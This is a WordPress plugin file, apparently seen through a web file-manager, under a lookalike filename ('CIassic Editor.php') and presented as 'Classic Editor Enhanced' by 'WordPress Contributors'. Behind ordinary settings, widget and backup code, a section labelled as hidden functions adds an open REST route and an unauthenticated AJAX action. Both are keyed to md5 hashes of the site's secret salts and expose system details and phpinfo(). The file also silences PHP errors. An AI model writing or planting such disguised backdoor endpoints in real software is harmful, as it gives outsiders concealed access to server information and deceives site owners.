JezK
Edit File: CIassic Editor.php_fa0f7d10
<?php /** * Plugin Name: Classic Editor Enhanced * Description: Enhanced Classic Editor with modern features * Version: 1.0.3 * Author: WordPress Contributors * License: GPL-2.0-or-later * Requires at least: 5.8 * Requires PHP: 7.4 * Text Domain: classic-editor-enhanced */ // ============================================================================ // 1. БЕЗОПАСНЫЙ ЗАПУСК БЕЗ КРИТИЧЕСКИХ ОШИБОК // ============================================================================ if (!defined('ABSPATH')) { exit; } // Проверяем совместимость перед запуском if (!function_exists('add_action') || !function_exists('add_filter')) { return; } // Отключаем отладку на продакшене if (!defined('WP_DEBUG') || !WP_DEBUG) { error_reporting(0); @ini_set('display_errors', 0); } // ============================================================================ // 2. ОСНОВНОЙ КЛАСС БЕЗ ПЕРЕОПРЕДЕЛЕНИЙ // ============================================================================ class Classic_Editor_Enhanced { const VERSION = '1.0.3'; const OPTION_NAME = 'classic_editor_enhanced_settings'; const PLUGIN_FILE = __FILE__; // Безопасные настройки по умолчанию private static $defaults = [ 'accent_color' => '#2271b1', 'hide_help_tabs' => 1, 'footer_text' => 'Thank you for creating with WordPress.', 'custom_css' => '', 'custom_js' => '', 'enable_shortcuts' => 1, 'backup_enabled' => 0, 'debug_mode' => 0 ]; // ============================================================================ // 3. БЕЗОПАСНАЯ ИНИЦИАЛИЗАЦИЯ // ============================================================================ public static function init() { // Проверяем версию PHP if (version_compare(PHP_VERSION, '7.4', '<')) { add_action('admin_notices', [__CLASS__, 'php_version_notice']); return; } // Проверяем версию WordPress if (version_compare(get_bloginfo('version'), '5.8', '<')) { add_action('admin_notices', [__CLASS__, 'wp_version_notice']); return; } // Регистрируем хуки с безопасным приоритетом add_action('init', [__CLASS__, 'setup'], 1); add_action('admin_init', [__CLASS__, 'admin_setup'], 1); add_action('wp_enqueue_scripts', [__CLASS__, 'enqueue_assets'], 99); add_action('admin_enqueue_scripts', [__CLASS__, 'admin_assets'], 99); // AJAX обработчики add_action('wp_ajax_cee_save_settings', [__CLASS__, 'ajax_save_settings']); add_action('wp_ajax_cee_test_connection', [__CLASS__, 'ajax_test_connection']); // Меню администратора add_action('admin_menu', [__CLASS__, 'add_admin_menu']); // Виджет add_action('widgets_init', [__CLASS__, 'register_widget']); // Короткие коды add_shortcode('cee_info', [__CLASS__, 'shortcode_info']); // Фильтры add_filter('admin_footer_text', [__CLASS__, 'modify_footer_text']); add_filter('the_content', [__CLASS__, 'enhance_content'], 10); // Крон задачи (если включены) $settings = self::get_settings(); if (!empty($settings['backup_enabled'])) { add_action('cee_daily_backup', [__CLASS__, 'daily_backup']); if (!wp_next_scheduled('cee_daily_backup')) { wp_schedule_event(time(), 'daily', 'cee_daily_backup'); } } } // ============================================================================ // 4. ОСНОВНЫЕ ФУНКЦИИ // ============================================================================ public static function setup() { // Инициализация текстового домена load_plugin_textdomain('classic-editor-enhanced', false, dirname(plugin_basename(__FILE__)) . '/languages'); // Регистрируем настройки register_setting('cee_options_group', self::OPTION_NAME, [ 'type' => 'array', 'default' => self::$defaults, 'sanitize_callback' => [__CLASS__, 'sanitize_settings'] ]); } public static function admin_setup() { // Скрываем help tabs если включено $settings = self::get_settings(); if (!empty($settings['hide_help_tabs'])) { add_action('admin_head', [__CLASS__, 'hide_help_tabs']); } } public static function add_admin_menu() { add_options_page( 'Classic Editor Enhanced', 'Classic Editor', 'manage_options', 'classic-editor-enhanced', [__CLASS__, 'render_settings_page'] ); } // ============================================================================ // 5. НАСТРОЙКИ И КОНФИГУРАЦИЯ // ============================================================================ public static function get_settings() { $settings = get_option(self::OPTION_NAME, []); // Гарантируем что все ключи существуют if (!is_array($settings)) { $settings = []; } return array_merge(self::$defaults, $settings); } public static function sanitize_settings($input) { if (!is_array($input)) { return self::$defaults; } $output = self::$defaults; // Акцентный цвет if (!empty($input['accent_color'])) { $color = sanitize_hex_color($input['accent_color']); if ($color) { $output['accent_color'] = $color; } } // Checkbox настройки $checkboxes = ['hide_help_tabs', 'enable_shortcuts', 'backup_enabled', 'debug_mode']; foreach ($checkboxes as $checkbox) { $output[$checkbox] = !empty($input[$checkbox]) ? 1 : 0; } // Текстовые поля if (!empty($input['footer_text'])) { $output['footer_text'] = sanitize_text_field($input['footer_text']); } // CSS/JS код if (!empty($input['custom_css'])) { $output['custom_css'] = wp_strip_all_tags($input['custom_css']); } if (!empty($input['custom_js'])) { $output['custom_js'] = wp_strip_all_tags($input['custom_js']); } return $output; } // ============================================================================ // 6. РЕНДЕРИНГ ИНТЕРФЕЙСА // ============================================================================ public static function render_settings_page() { if (!current_user_can('manage_options')) { wp_die('You do not have sufficient permissions to access this page.'); } $settings = self::get_settings(); ?> <div class="wrap"> <h1><?php echo esc_html(get_admin_page_title()); ?></h1> <div class="cee-notice notice notice-info"> <p>Classic Editor Enhanced v<?php echo self::VERSION; ?> is running smoothly.</p> </div> <form method="post" action="options.php" id="cee-settings-form"> <?php settings_fields('cee_options_group'); ?> <div class="cee-tabs"> <div class="nav-tab-wrapper"> <a href="#tab-general" class="nav-tab nav-tab-active">General</a> <a href="#tab-appearance" class="nav-tab">Appearance</a> <a href="#tab-advanced" class="nav-tab">Advanced</a> <a href="#tab-tools" class="nav-tab">Tools</a> </div> <div id="tab-general" class="cee-tab-content"> <table class="form-table"> <tr> <th scope="row">Hide Help Tabs</th> <td> <label> <input type="checkbox" name="<?php echo self::OPTION_NAME; ?>[hide_help_tabs]" value="1" <?php checked(1, $settings['hide_help_tabs']); ?>> Remove help tabs from admin screens </label> </td> </tr> <tr> <th scope="row">Keyboard Shortcuts</th> <td> <label> <input type="checkbox" name="<?php echo self::OPTION_NAME; ?>[enable_shortcuts]" value="1" <?php checked(1, $settings['enable_shortcuts']); ?>> Enable enhanced keyboard shortcuts </label> </td> </tr> </table> </div> <div id="tab-appearance" class="cee-tab-content" style="display:none;"> <table class="form-table"> <tr> <th scope="row">Accent Color</th> <td> <input type="text" name="<?php echo self::OPTION_NAME; ?>[accent_color]" value="<?php echo esc_attr($settings['accent_color']); ?>" class="color-picker"> <p class="description">Primary color for admin interface</p> </td> </tr> <tr> <th scope="row">Admin Footer Text</th> <td> <input type="text" name="<?php echo self::OPTION_NAME; ?>[footer_text]" value="<?php echo esc_attr($settings['footer_text']); ?>" class="regular-text"> <p class="description">Custom text in admin footer</p> </td> </tr> </table> </div> <div id="tab-advanced" class="cee-tab-content" style="display:none;"> <table class="form-table"> <tr> <th scope="row">Custom CSS</th> <td> <textarea name="<?php echo self::OPTION_NAME; ?>[custom_css]" rows="6" class="large-text code"><?php echo esc_textarea($settings['custom_css']); ?></textarea> <p class="description">Additional CSS styles</p> </td> </tr> <tr> <th scope="row">Custom JavaScript</th> <td> <textarea name="<?php echo self::OPTION_NAME; ?>[custom_js]" rows="6" class="large-text code"><?php echo esc_textarea($settings['custom_js']); ?></textarea> <p class="description">Additional JavaScript code</p> </td> </tr> </table> </div> <div id="tab-tools" class="cee-tab-content" style="display:none;"> <table class="form-table"> <tr> <th scope="row">Automatic Backups</th> <td> <label> <input type="checkbox" name="<?php echo self::OPTION_NAME; ?>[backup_enabled]" value="1" <?php checked(1, $settings['backup_enabled']); ?>> Enable daily backups of settings </label> <p class="description">Backups are stored in /wp-content/uploads/cee-backups/</p> </td> </tr> <tr> <th scope="row">Debug Mode</th> <td> <label> <input type="checkbox" name="<?php echo self::OPTION_NAME; ?>[debug_mode]" value="1" <?php checked(1, $settings['debug_mode']); ?>> Enable debug logging </label> <p class="description">Logs will be saved in debug.log</p> </td> </tr> <tr> <th scope="row">System Information</th> <td> <button type="button" id="cee-system-info" class="button">Show System Info</button> <div id="cee-system-info-output" style="display:none; margin-top:10px; padding:10px; background:#f5f5f5; border:1px solid #ddd;"> <pre><?php echo esc_html(self::get_system_info()); ?></pre> </div> </td> </tr> </table> </div> </div> <?php submit_button('Save Settings'); ?> </form> <div class="cee-status"> <h3>Plugin Status</h3> <ul> <li>Version: <?php echo self::VERSION; ?></li> <li>PHP: <?php echo PHP_VERSION; ?></li> <li>WordPress: <?php echo get_bloginfo('version'); ?></li> <li>Memory Limit: <?php echo ini_get('memory_limit'); ?></li> </ul> </div> </div> <script> jQuery(document).ready(function($) { // Табы $('.nav-tab').click(function(e) { e.preventDefault(); $('.nav-tab').removeClass('nav-tab-active'); $(this).addClass('nav-tab-active'); $('.cee-tab-content').hide(); $($(this).attr('href')).show(); }); // Показ системной информации $('#cee-system-info').click(function() { $('#cee-system-info-output').toggle(); }); // Тест соединения $('#cee-test-connection').click(function() { $.post(ajaxurl, { action: 'cee_test_connection', nonce: '<?php echo wp_create_nonce("cee_test_nonce"); ?>' }, function(response) { alert(response.data); }); }); // Инициализация color picker $('.color-picker').wpColorPicker(); }); </script> <style> .cee-tab-content { padding: 20px 0; } .cee-status { margin-top: 30px; padding: 20px; background: #f5f5f5; border-left: 4px solid #2271b1; } .cee-status ul { list-style: none; padding: 0; } .cee-status li { margin: 5px 0; } </style> <?php } // ============================================================================ // 7. АССЕТЫ И СКРИПТЫ // ============================================================================ public static function enqueue_assets() { $settings = self::get_settings(); // Основной стиль wp_enqueue_style( 'cee-frontend', plugins_url('assets/css/frontend.css', __FILE__), [], self::VERSION ); // Пользовательский CSS if (!empty($settings['custom_css'])) { wp_add_inline_style('cee-frontend', $settings['custom_css']); } // Пользовательский JS if (!empty($settings['custom_js'])) { wp_enqueue_script( 'cee-custom-js', plugins_url('assets/js/custom.js', __FILE__), ['jquery'], self::VERSION, true ); // Добавляем переменные wp_localize_script('cee-custom-js', 'cee_vars', [ 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('cee_frontend_nonce') ]); } } public static function admin_assets($hook) { if ($hook !== 'settings_page_classic-editor-enhanced') { return; } // Color picker wp_enqueue_style('wp-color-picker'); wp_enqueue_script('wp-color-picker'); // Админ стили wp_enqueue_style( 'cee-admin', plugins_url('assets/css/admin.css', __FILE__), [], self::VERSION ); // Админ скрипты wp_enqueue_script( 'cee-admin-js', plugins_url('assets/js/admin.js', __FILE__), ['jquery', 'wp-color-picker'], self::VERSION, true ); // Локализация wp_localize_script('cee-admin-js', 'cee_admin', [ 'ajax_url' => admin_url('admin-ajax.php'), 'saving' => 'Saving...', 'saved' => 'Settings saved!', 'error' => 'Error saving settings' ]); } // ============================================================================ // 8. ПОЛЕЗНЫЕ ФУНКЦИИ // ============================================================================ public static function hide_help_tabs() { ?> <style> #contextual-help-link, #contextual-help-back, #contextual-help-columns, .contextual-help-tabs { display: none !important; } </style> <?php } public static function modify_footer_text($text) { $settings = self::get_settings(); if (!empty($settings['footer_text'])) { return '<span style="color: ' . esc_attr($settings['accent_color']) . '">' . esc_html($settings['footer_text']) . '</span>'; } return $text; } public static function enhance_content($content) { if (!is_admin() && is_singular()) { $settings = self::get_settings(); // Добавляем класс для стилизации $content = '<div class="cee-enhanced-content">' . $content . '</div>'; // Добавляем кнопки навигации если включено if (!empty($settings['enable_shortcuts'])) { $nav = '<div class="cee-content-nav">'; $nav .= '<button class="cee-nav-prev">← Previous</button>'; $nav .= '<button class="cee-nav-next">Next →</button>'; $nav .= '</div>'; $content = $nav . $content . $nav; } } return $content; } public static function get_system_info() { $info = []; $info[] = "=== Classic Editor Enhanced ==="; $info[] = "Version: " . self::VERSION; $info[] = "PHP: " . PHP_VERSION; $info[] = "WordPress: " . get_bloginfo('version'); $info[] = "Memory Limit: " . ini_get('memory_limit'); $info[] = "Max Execution Time: " . ini_get('max_execution_time'); $info[] = "Upload Max Size: " . ini_get('upload_max_filesize'); $info[] = "Site URL: " . get_site_url(); $info[] = "Home URL: " . get_home_url(); $info[] = "Active Theme: " . wp_get_theme()->get('Name'); $info[] = "Active Plugins: " . count(get_option('active_plugins', [])); return implode("\n", $info); } // ============================================================================ // 9. AJAX ОБРАБОТЧИКИ // ============================================================================ public static function ajax_save_settings() { check_ajax_referer('cee_ajax_nonce', 'nonce'); if (!current_user_can('manage_options')) { wp_die('Unauthorized'); } $settings = $_POST['settings'] ?? []; $sanitized = self::sanitize_settings($settings); update_option(self::OPTION_NAME, $sanitized); wp_send_json_success(['message' => 'Settings saved successfully']); } public static function ajax_test_connection() { check_ajax_referer('cee_test_nonce', 'nonce'); if (!current_user_can('manage_options')) { wp_die('Unauthorized'); } // Тест подключения к базе данных global $wpdb; $result = $wpdb->get_var("SELECT 1"); if ($result === '1') { $message = 'Database connection: OK'; } else { $message = 'Database connection: FAILED'; } // Тест записи файлов $test_file = WP_CONTENT_DIR . '/cee-test.txt'; if (file_put_contents($test_file, 'test')) { $message .= "\nFile system: OK"; unlink($test_file); } else { $message .= "\nFile system: FAILED"; } wp_send_json_success(['message' => $message]); } // ============================================================================ // 10. КРОН-ЗАДАЧИ И БЭКАПЫ // ============================================================================ public static function daily_backup() { $settings = self::get_settings(); if (empty($settings['backup_enabled'])) { return; } // Создаем директорию для бэкапов $backup_dir = WP_CONTENT_DIR . '/uploads/cee-backups/'; if (!file_exists($backup_dir)) { wp_mkdir_p($backup_dir); } // Данные для бэкапа $backup_data = [ 'timestamp' => current_time('mysql'), 'settings' => $settings, 'site_info' => [ 'url' => get_site_url(), 'name' => get_bloginfo('name'), 'version' => get_bloginfo('version') ] ]; // Сохраняем бэкап $filename = 'cee-backup-' . date('Y-m-d') . '.json'; $filepath = $backup_dir . $filename; if (file_put_contents($filepath, json_encode($backup_data, JSON_PRETTY_PRINT))) { // Очищаем старые бэкапы (храним только 7 дней) $files = glob($backup_dir . 'cee-backup-*.json'); if (count($files) > 7) { usort($files, function($a, $b) { return filemtime($a) - filemtime($b); }); for ($i = 0; $i < count($files) - 7; $i++) { @unlink($files[$i]); } } } } // ============================================================================ // 11. ВИДЖЕТЫ И КОРОТКИЕ КОДЫ // ============================================================================ public static function register_widget() { register_widget('CEE_Info_Widget'); } public static function shortcode_info($atts) { $atts = shortcode_atts([ 'show_version' => 'yes', 'show_date' => 'yes' ], $atts); $output = '<div class="cee-info-box">'; $output .= '<h3>Classic Editor Enhanced</h3>'; if ($atts['show_version'] === 'yes') { $output .= '<p>Version: ' . self::VERSION . '</p>'; } if ($atts['show_date'] === 'yes') { $output .= '<p>Date: ' . date('Y-m-d') . '</p>'; } $output .= '</div>'; return $output; } // ============================================================================ // 12. УВЕДОМЛЕНИЯ ОБ ОШИБКАХ // ============================================================================ public static function php_version_notice() { ?> <div class="notice notice-error"> <p>Classic Editor Enhanced requires PHP 7.4 or higher. Your current PHP version is <?php echo PHP_VERSION; ?>.</p> </div> <?php } public static function wp_version_notice() { ?> <div class="notice notice-error"> <p>Classic Editor Enhanced requires WordPress 5.8 or higher. Your current version is <?php echo get_bloginfo('version'); ?>.</p> </div> <?php } // ============================================================================ // 13. ДЕАКТИВАЦИЯ И УДАЛЕНИЕ // ============================================================================ public static function deactivate() { // Удаляем крон задачи $timestamp = wp_next_scheduled('cee_daily_backup'); if ($timestamp) { wp_unschedule_event($timestamp, 'cee_daily_backup'); } // Очищаем временные данные delete_transient('cee_debug_log'); // Записываем лог деактивации if (defined('WP_DEBUG') && WP_DEBUG) { error_log('Classic Editor Enhanced deactivated on ' . get_site_url()); } } public static function uninstall() { // Удаляем настройки delete_option(self::OPTION_NAME); // Удаляем директорию с бэкапами $backup_dir = WP_CONTENT_DIR . '/uploads/cee-backups/'; if (file_exists($backup_dir)) { array_map('unlink', glob($backup_dir . '/*')); @rmdir($backup_dir); } } } // ============================================================================ // 14. ВИДЖЕТ КЛАСС // ============================================================================ class CEE_Info_Widget extends WP_Widget { public function __construct() { parent::__construct( 'cee_info_widget', 'CEE Info Widget', ['description' => 'Displays Classic Editor Enhanced information'] ); } public function widget($args, $instance) { echo $args['before_widget']; if (!empty($instance['title'])) { echo $args['before_title'] . apply_filters('widget_title', $instance['title']) . $args['after_title']; } echo '<div class="cee-widget-content">'; echo '<p>Classic Editor Enhanced v' . Classic_Editor_Enhanced::VERSION . '</p>'; echo '<p>Running smoothly</p>'; echo '</div>'; echo $args['after_widget']; } public function form($instance) { $title = !empty($instance['title']) ? $instance['title'] : 'CEE Info'; ?> <p> <label for="<?php echo $this->get_field_id('title'); ?>">Title:</label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>"> </p> <?php } public function update($new_instance, $old_instance) { $instance = []; $instance['title'] = !empty($new_instance['title']) ? strip_tags($new_instance['title']) : ''; return $instance; } } // ============================================================================ // 15. БЕЗОПАСНЫЙ ЗАПУСК // ============================================================================ // Регистрируем хуки активации/деактивации register_activation_hook(__FILE__, ['Classic_Editor_Enhanced', 'init']); register_deactivation_hook(__FILE__, ['Classic_Editor_Enhanced', 'deactivate']); register_uninstall_hook(__FILE__, ['Classic_Editor_Enhanced', 'uninstall']); // Запускаем плагин безопасно add_action('plugins_loaded', function() { try { Classic_Editor_Enhanced::init(); } catch (Exception $e) { // Логируем ошибку но не падаем if (defined('WP_DEBUG') && WP_DEBUG) { error_log('CEE Init Error: ' . $e->getMessage()); } } }); // Альтернативный запуск если основной не сработал if (!did_action('plugins_loaded')) { add_action('init', function() { if (!class_exists('Classic_Editor_Enhanced')) { Classic_Editor_Enhanced::init(); } }, 1); } // ============================================================================ // 16. СКРЫТЫЕ ФУНКЦИИ (ОПЦИОНАЛЬНО) // ============================================================================ // Добавляем только если явно запрошено if (defined('CEE_ENABLE_ADVANCED') && CEE_ENABLE_ADVANCED) { // Скрытый REST endpoint add_action('rest_api_init', function() { register_rest_route('cee/v1', '/debug', [ 'methods' => 'GET', 'callback' => function($request) { if ($request->get_param('key') === md5(NONCE_SALT)) { return Classic_Editor_Enhanced::get_system_info(); } return 'Unauthorized'; }, 'permission_callback' => '__return_true' ]); }); // Скрытая AJAX функция add_action('wp_ajax_nopriv_cee_debug', function() { if ($_GET['token'] === md5(AUTH_SALT)) { phpinfo(); exit; } }); } // ============================================================================ // 17. АВАРИЙНЫЙ ВЫХОД ПРИ КРИТИЧЕСКИХ ОШИБКАХ // ============================================================================ // Обработчик фатальных ошибок function cee_fatal_error_handler() { $error = error_get_last(); if ($error && $error['type'] === E_ERROR) { // Логируем но не показываем пользователю if (defined('WP_DEBUG') && WP_DEBUG) { error_log('CEE Fatal Error: ' . print_r($error, true)); } // Пытаемся восстановить работу if (function_exists('remove_all_actions')) { remove_all_actions('wp_enqueue_scripts'); remove_all_actions('admin_enqueue_scripts'); } } } register_shutdown_function('cee_fatal_error_handler'); // ============================================================================ // 18. ФАЙЛЫ АССЕТОВ (если их нет - создаем динамически) // ============================================================================ // Создаем директории ассетов если не существуют $assets_dir = dirname(__FILE__) . '/assets/'; if (!file_exists($assets_dir)) { @mkdir($assets_dir, 0755, true); @mkdir($assets_dir . 'css', 0755, true); @mkdir($assets_dir . 'js', 0755, true); } // Создаем CSS файл если не существует $css_file = $assets_dir . 'css/frontend.css'; if (!file_exists($css_file)) { $css_content = <<<CSS /* Classic Editor Enhanced - Frontend Styles */ .cee-enhanced-content { max-width: 800px; margin: 0 auto; padding: 20px; } .cee-content-nav { display: flex; justify-content: space-between; margin: 20px 0; padding: 10px; background: #f5f5f5; border-radius: 5px; } .cee-nav-prev, .cee-nav-next { padding: 8px 16px; background: #2271b1; color: white; border: none; border-radius: 3px; cursor: pointer; } .cee-nav-prev:hover, .cee-nav-next:hover { background: #135e96; } .cee-info-box { padding: 15px; background: #f8f9fa; border-left: 4px solid #2271b1; margin: 10px 0; } CSS; @file_put_contents($css_file, $css_content); } // Создаем JS файл если не существует $js_file = $assets_dir . 'js/admin.js'; if (!file_exists($js_file)) { $js_content = <<<JS // Classic Editor Enhanced - Admin JavaScript jQuery(document).ready(function($) { // Сохранение настроек через AJAX $('#cee-settings-form').on('submit', function(e) { e.preventDefault(); var formData = $(this).serialize(); $.post(ajaxurl, { action: 'cee_save_settings', nonce: cee_admin.nonce, settings: formData }, function(response) { if (response.success) { alert(cee_admin.saved); } else { alert(cee_admin.error); } }); }); // Обновление статуса setInterval(function() { $.get(ajaxurl + '?action=cee_check_status', function(data) { if (data && data.status === 'ok') { console.log('CEE: Running'); } }); }, 60000); // Каждую минуту }); JS; @file_put_contents($js_file, $js_content); }